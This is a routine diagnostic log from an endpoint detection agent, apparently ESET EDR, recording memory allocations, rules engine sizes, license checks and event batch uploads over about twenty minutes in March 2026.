2026-03-04 03:32:49 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s772ms.
2026-03-04 03:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1338 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 530 KB; TcpIpConnectionsManager: 529 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; rules::ProcessConditionsCache: 67 KB; cloudutils::CloudData: 37 KB; BaseEvent: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65331 KB;
2026-03-04 03:33:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 03:33:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:33:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:33:15 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1724 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; BaseEvent: 208 KB; rules::ProcessConditionsCache: 110 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 54 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66024 KB;
2026-03-04 03:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2094 KB; TcpIpConnectionsManager: 581 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; BaseEvent: 384 KB; ModuleInfoCache: 103 KB; BatchSerializer::EventsQueueTag: 102 KB; CacheEntry: 87 KB; rules::ProcessConditionsCache: 80 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66609 KB;
2026-03-04 03:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2457 KB; TcpIpConnectionsManager: 565 KB; BaseEvent: 564 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; BatchSerializer::EventsQueueTag: 150 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; rules::ProcessConditionsCache: 63 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67153 KB;
2026-03-04 03:36:54 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:32:41, To:, 2026-03-04 03:36:53, Duration (s):, 252, Events Per Second:, 16.330, Events:, 4130, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3428, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 701, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457739
2026-03-04 03:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1308 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; BatchStringTag: 447 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; rules::ProcessConditionsCache: 45 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; BaseEvent: 4 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchSerializer::EventsQueueTag: 1 KB; Total: 65714 KB;
2026-03-04 03:36:57 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s891ms.
2026-03-04 03:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1665 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 545 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; BaseEvent: 180 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 48 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65800 KB;
2026-03-04 03:38:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 03:38:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:38:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:38:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1716 KB; ModuleMetadata: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; TcpIpConnectionsManager: 394 KB; BaseEvent: 226 KB; ModuleInfoCache: 104 KB; rules::ProcessConditionsCache: 89 KB; CacheEntry: 88 KB; BatchSerializer::EventsQueueTag: 59 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65860 KB;
2026-03-04 03:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1716 KB; ModuleMetadata: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; TcpIpConnectionsManager: 238 KB; BaseEvent: 227 KB; ModuleInfoCache: 104 KB; rules::ProcessConditionsCache: 89 KB; CacheEntry: 88 KB; BatchSerializer::EventsQueueTag: 60 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65706 KB;
2026-03-04 03:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1716 KB; ModuleMetadata: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; BaseEvent: 229 KB; ModuleInfoCache: 104 KB; rules::ProcessConditionsCache: 89 KB; CacheEntry: 88 KB; TcpIpConnectionsManager: 86 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65556 KB;
2026-03-04 03:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1716 KB; ModuleMetadata: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; BaseEvent: 229 KB; ModuleInfoCache: 104 KB; rules::ProcessConditionsCache: 89 KB; CacheEntry: 88 KB; TcpIpConnectionsManager: 66 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65536 KB;
2026-03-04 03:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1716 KB; ModuleMetadata: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; BaseEvent: 229 KB; ModuleInfoCache: 104 KB; rules::ProcessConditionsCache: 89 KB; CacheEntry: 88 KB; TcpIpConnectionsManager: 66 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65536 KB;
2026-03-04 03:43:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:36:53, To:, 2026-03-04 03:43:13, Duration (s):, 380, Events Per Second:, 16.887, Events:, 6424, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 5264, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 35, Livegrid:, 35, OriginUrl:, 0, Alarms:, 1089, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 710931
2026-03-04 03:43:14 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s461ms.
2026-03-04 03:43:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 03:43:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:43:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:43:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2369 KB; TcpIpConnectionsManager: 959 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 556 KB; ModuleMetadata: 553 KB; rules::AncestorEvaluations: 551 KB; rules::ProcessConditionsCache: 389 KB; BaseEvent: 128 KB; ModuleInfoCache: 105 KB; CacheEntry: 88 KB; cloudutils::CloudData: 37 KB; BatchSerializer::EventsQueueTag: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67290 KB;
2026-03-04 03:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2731 KB; TcpIpConnectionsManager: 1111 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 557 KB; ModuleMetadata: 553 KB; rules::AncestorEvaluations: 551 KB; rules::ProcessConditionsCache: 373 KB; BaseEvent: 307 KB; ModuleInfoCache: 105 KB; CacheEntry: 88 KB; BatchSerializer::EventsQueueTag: 80 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 68018 KB;
2026-03-04 03:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 3096 KB; TcpIpConnectionsManager: 1264 KB; ModuleMetadata: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; BaseEvent: 484 KB; rules::ProcessConditionsCache: 360 KB; BatchSerializer::EventsQueueTag: 125 KB; ModuleInfoCache: 105 KB; CacheEntry: 88 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 68732 KB;
2026-03-04 03:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 3454 KB; BaseEvent: 659 KB; ModuleMetadata: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; TcpIpConnectionsManager: 526 KB; rules::ProcessConditionsCache: 343 KB; BatchSerializer::EventsQueueTag: 172 KB; ModuleInfoCache: 105 KB; CacheEntry: 88 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 68556 KB;
2026-03-04 03:47:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:43:13, To:, 2026-03-04 03:47:25, Duration (s):, 252, Events Per Second:, 16.410, Events:, 4150, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3419, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 730, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460422
2026-03-04 03:47:28 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s851ms.
2026-03-04 03:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1457 KB; ModuleMetadata: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; TcpIpConnectionsManager: 522 KB; rules::ProcessConditionsCache: 328 KB; ModuleInfoCache: 105 KB; BaseEvent: 91 KB; CacheEntry: 88 KB; cloudutils::CloudData: 37 KB; BatchSerializer::EventsQueueTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65811 KB;
2026-03-04 03:48:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 03:48:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:48:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:48:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1818 KB; ModuleMetadata: 554 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; TcpIpConnectionsManager: 521 KB; rules::ProcessConditionsCache: 316 KB; BaseEvent: 270 KB; ModuleInfoCache: 105 KB; CacheEntry: 88 KB; BatchSerializer::EventsQueueTag: 71 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66390 KB;
2026-03-04 03:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2179 KB; ModuleMetadata: 554 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 547 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 448 KB; rules::ProcessConditionsCache: 298 KB; BatchSerializer::EventsQueueTag: 117 KB; ModuleInfoCache: 105 KB; CacheEntry: 88 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66955 KB;
2026-03-04 03:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2552 KB; BaseEvent: 632 KB; ModuleMetadata: 554 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; TcpIpConnectionsManager: 521 KB; rules::ProcessConditionsCache: 304 KB; BatchSerializer::EventsQueueTag: 165 KB; ModuleInfoCache: 105 KB; CacheEntry: 88 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67555 KB;
2026-03-04 03:51:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:47:25, To:, 2026-03-04 03:51:33, Duration (s):, 248, Events Per Second:, 16.515, Events:, 4110, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3382, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 725, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456101
2026-03-04 03:51:36 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s690ms.
2026-03-04 03:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1420 KB; ModuleMetadata: 554 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; TcpIpConnectionsManager: 522 KB; rules::ProcessConditionsCache: 278 KB; ModuleInfoCache: 105 KB; CacheEntry: 88 KB; BaseEvent: 61 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 16 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65678 KB;
2026-03-04 03:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1781 KB; ModuleMetadata: 554 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; TcpIpConnectionsManager: 527 KB; rules::ProcessConditionsCache: 268 KB; BaseEvent: 240 KB; ModuleInfoCache: 105 KB; CacheEntry: 88 KB; BatchSerializer::EventsQueueTag: 63 KB; cloudutils::CloudData: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66261 KB;
2026-03-04 03:53:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 03:53:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:53:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:53:16 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2154 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; BaseEvent: 420 KB; rules::ProcessConditionsCache: 267 KB; BatchSerializer::EventsQueueTag: 110 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66898 KB;
2026-03-04 03:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2523 KB; BaseEvent: 597 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; rules::ProcessConditionsCache: 245 KB; BatchSerializer::EventsQueueTag: 157 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67482 KB;
2026-03-04 03:55:41 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:51:33, To:, 2026-03-04 03:55:41, Duration (s):, 248, Events Per Second:, 16.571, Events:, 4123, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3415, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 707, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457635
2026-03-04 03:55:43 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s449ms.
2026-03-04 03:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1395 KB; ModuleMetadata: 571 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; rules::ProcessConditionsCache: 239 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BaseEvent: 43 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 11 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65638 KB;
